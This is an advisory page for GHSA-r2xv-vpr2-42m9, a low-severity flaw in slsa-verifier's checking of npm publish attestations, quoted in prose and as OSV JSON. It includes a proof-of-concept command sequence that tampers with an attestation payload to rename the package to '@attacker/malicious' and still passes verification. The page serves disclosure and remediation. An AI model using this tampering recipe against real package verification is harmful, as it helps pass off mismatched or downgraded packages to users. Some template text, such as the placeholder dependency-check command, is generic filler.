Vulnerabilities in pkg:golang/github.com/slsa-framework/slsa-verifier

PACKAGE
Advisory Summary

GHSA-r2xv-vpr2-42m9 is a LOW slsa-verifier vulnerable to mproper validation vulnerability (General Security Weakness) affecting Github.com/slsa framework/slsa verifier/v2 libraries in the Go ecosystem. The issue involves slsa-verifier vulnerable to mproper validation of npm's publish attestations. Remediation is available by upgrading affected packages to version 2.4.1-rc.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/slsa-framework/slsa-verifier

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/slsa-framework/slsa-verifier. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-r2xv-vpr2-42m9 - LOW slsa-verifier vulnerable to mproper validation of npm's publish attestations

GHSA-r2xv-vpr2-42m9 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-r2xv-vpr2-42m9
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification General Security Weakness
Affected Product Github.com/slsa framework/slsa verifier/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-r2xv-vpr2-42m9

To remediate this vulnerability, upgrade all affected Github.com/slsa framework/slsa verifier/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/slsa-framework/slsa-verifier/v2 fixed: 2.4.1-rc.0
Upgrade github.com/slsa-framework/slsa-verifier/v2 to 2.4.1-rc.0
github.com/slsa-framework/slsa-verifier fixed: Latest secure release
Upgrade github.com/slsa-framework/slsa-verifier to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/slsa-framework/slsa-verifier/v2

How to Check if You Are Affected

To determine whether your application is affected by GHSA-r2xv-vpr2-42m9, inspect your project dependencies for Github.com/slsa framework/slsa verifier/v2:

inspect dependencies for github.com/slsa-framework/slsa-verifier/v2

Analyze the terminal output to locate any version of Github.com/slsa framework/slsa verifier/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.1-rc.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under General Security Weakness. In Github.com/slsa framework/slsa verifier/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `slsa-verifier<=2.4.0` does not correctly verify npm's [publish](https://github.com/npm/attestation/tree/main/specs/publish/v0.1) attestations signature. ### Proof of concept Steps to reproduce: 1. `curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')` 2. `curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"` 3. In `attestations.json`, take the value addressed by the `jq` selector `.attestations[0].bundle.dsseEnvelope.payload`, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as `attestations_tampered.json`. Here is an example command to replace the package name with `@attacker/malicious`: `jq -r ".attestations[0].bundle.dsseEnvelope.payload = \"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = "pkg:npm/%40attacker/malicious"' | base64 -w0)\"" < attestations.json > attestations_tampered.json` 5. `SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id "https://github.com/actions/runner/github-hosted" --package-name "@trishankatdatadog/supreme-goggles" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles` 6. The result is that `slsa-verifier` fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns `PASSED`. ### Impact An attacker who controls what packages and attestations are shown to a user _can_ associate a package with an arbitrary name and version that do _not_ match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need _not_ match its counterpart in the provenance attestation. However, the attacker _cannot_ associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities. Severity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental. ### Patches Fixed by PR [#705](https://github.com/slsa-framework/slsa-verifier/pull/705) and released in versions `>=2.4.1`. ### Workarounds There is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm's publish attestations themselves, _and_ cross-verifying it against GHA's provenance attestations. ### References * [Original OpenSSF Slack thread](https://openssf.slack.com/archives/C03PDLFET5W/p1695330038983179)

GHSA-r2xv-vpr2-42m9 Affected Github.com/slsa framework/slsa verifier/v2 Versions

2 component(s)
Fixed Versions:
2.4.1-rc.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/slsa-framework/slsa-verifier/v2
Go
< 2.4.1-rc.0
2.4.1-rc.0
github.com/slsa-framework/slsa-verifier
Go
≤ 1.4.1

References

Frequently Asked Questions

What is GHSA-r2xv-vpr2-42m9?
GHSA-r2xv-vpr2-42m9 is a security vulnerability in Github.com/slsa framework/slsa verifier/v2 involving slsa-verifier vulnerable to mproper validation of npm's publish attestations under General Security Weakness.
Which Github.com/slsa framework/slsa verifier/v2 versions are affected?
Affected versions include releases prior to 2.4.1-rc.0 across affected packages: github.com/slsa-framework/slsa-verifier/v2, github.com/slsa-framework/slsa-verifier.
What version fixes GHSA-r2xv-vpr2-42m9?
Upgrading to 2.4.1-rc.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/slsa-framework/slsa-verifier/v2 affected?
Yes, github.com/slsa-framework/slsa-verifier/v2 is affected in releases prior to 2.4.1-rc.0. Upgrade your dependency to 2.4.1-rc.0 or later.
Is github.com/slsa-framework/slsa-verifier affected?
Yes, github.com/slsa-framework/slsa-verifier is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-r2xv-vpr2-42m9?
GHSA-r2xv-vpr2-42m9 is classified under General Security Weakness.
How can I check Go dependencies for GHSA-r2xv-vpr2-42m9?
Run the dependency tree command: 'inspect dependencies for github.com/slsa-framework/slsa-verifier/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r2xv-vpr2-42m9",
  "modified" : "2023-11-09T16:14:39Z",
  "published" : "2023-11-08T19:15:55Z",
  "aliases" : [ ],
  "summary" : "slsa-verifier vulnerable to mproper validation of npm's publish attestations",
  "details" : "### Summary\n\n`slsa-verifier<=2.4.0` does not correctly verify npm's [publish](https://github.com/npm/attestation/tree/main/specs/publish/v0.1) attestations signature.\n\n### Proof of concept\n\nSteps to reproduce:\n1. `curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')`\n2. `curl -Sso supreme-goggles.tgz \"$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')\"`\n3. In `attestations.json`, take the value addressed by the `jq` selector `.attestations[0].bundle.dsseEnvelope.payload`, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as `attestations_tampered.json`.\n   Here is an example command to replace the package name with `@attacker/malicious`:\n   `jq -r \".attestations[0].bundle.dsseEnvelope.payload = \\\"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = \"pkg:npm/%40attacker/malicious\"' | base64 -w0)\\\"\" < attestations.json > attestations_tampered.json`\n5. `SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id \"https://github.com/actions/runner/github-hosted\" --package-name \"@trishankatdatadog/supreme-goggles\" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles`\n6. The result is that `slsa-verifier` fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns `PASSED`.\n\n### Impact\n\nAn attacker who controls what packages and attestations are shown to a user _can_ associate a package with an arbitrary name and version that do _not_ match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need _not_ match its counterpart in the provenance attestation. However, the attacker _cannot_ associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.\n\nSeverity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental.\n\n### Patches\n\nFixed by PR [#705](https://github.com/slsa-framework/slsa-verifier/pull/705) and released in versions `>=2.4.1`.\n\n### Workarounds\n\nThere is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm's publish attestations themselves, _and_ cross-verifying it against GHA's provenance attestations.\n\n### References\n\n* [Original OpenSSF Slack thread](https://openssf.slack.com/archives/C03PDLFET5W/p1695330038983179)\n",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/slsa-framework/slsa-verifier/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.1-rc.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/slsa-framework/slsa-verifier"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.4.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/slsa-framework/slsa-verifier/security/advisories/GHSA-r2xv-vpr2-42m9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/slsa-framework/slsa-verifier/pull/705"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/slsa-framework/slsa-verifier/commit/f6ae402f458b347d2c414f1d053fc1f8257888d0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/npm/attestation/tree/main/specs/publish/v0.1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/slsa-framework/slsa-verifier"
  }, {
    "type" : "WEB",
    "url" : "https://openssf.slack.com/archives/C03PDLFET5W/p1695330038983179"
  } ],
  "database_specific" : {
    "cwe_ids" : [ ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-08T19:15:55Z",
    "nvd_published_at" : null
  }
}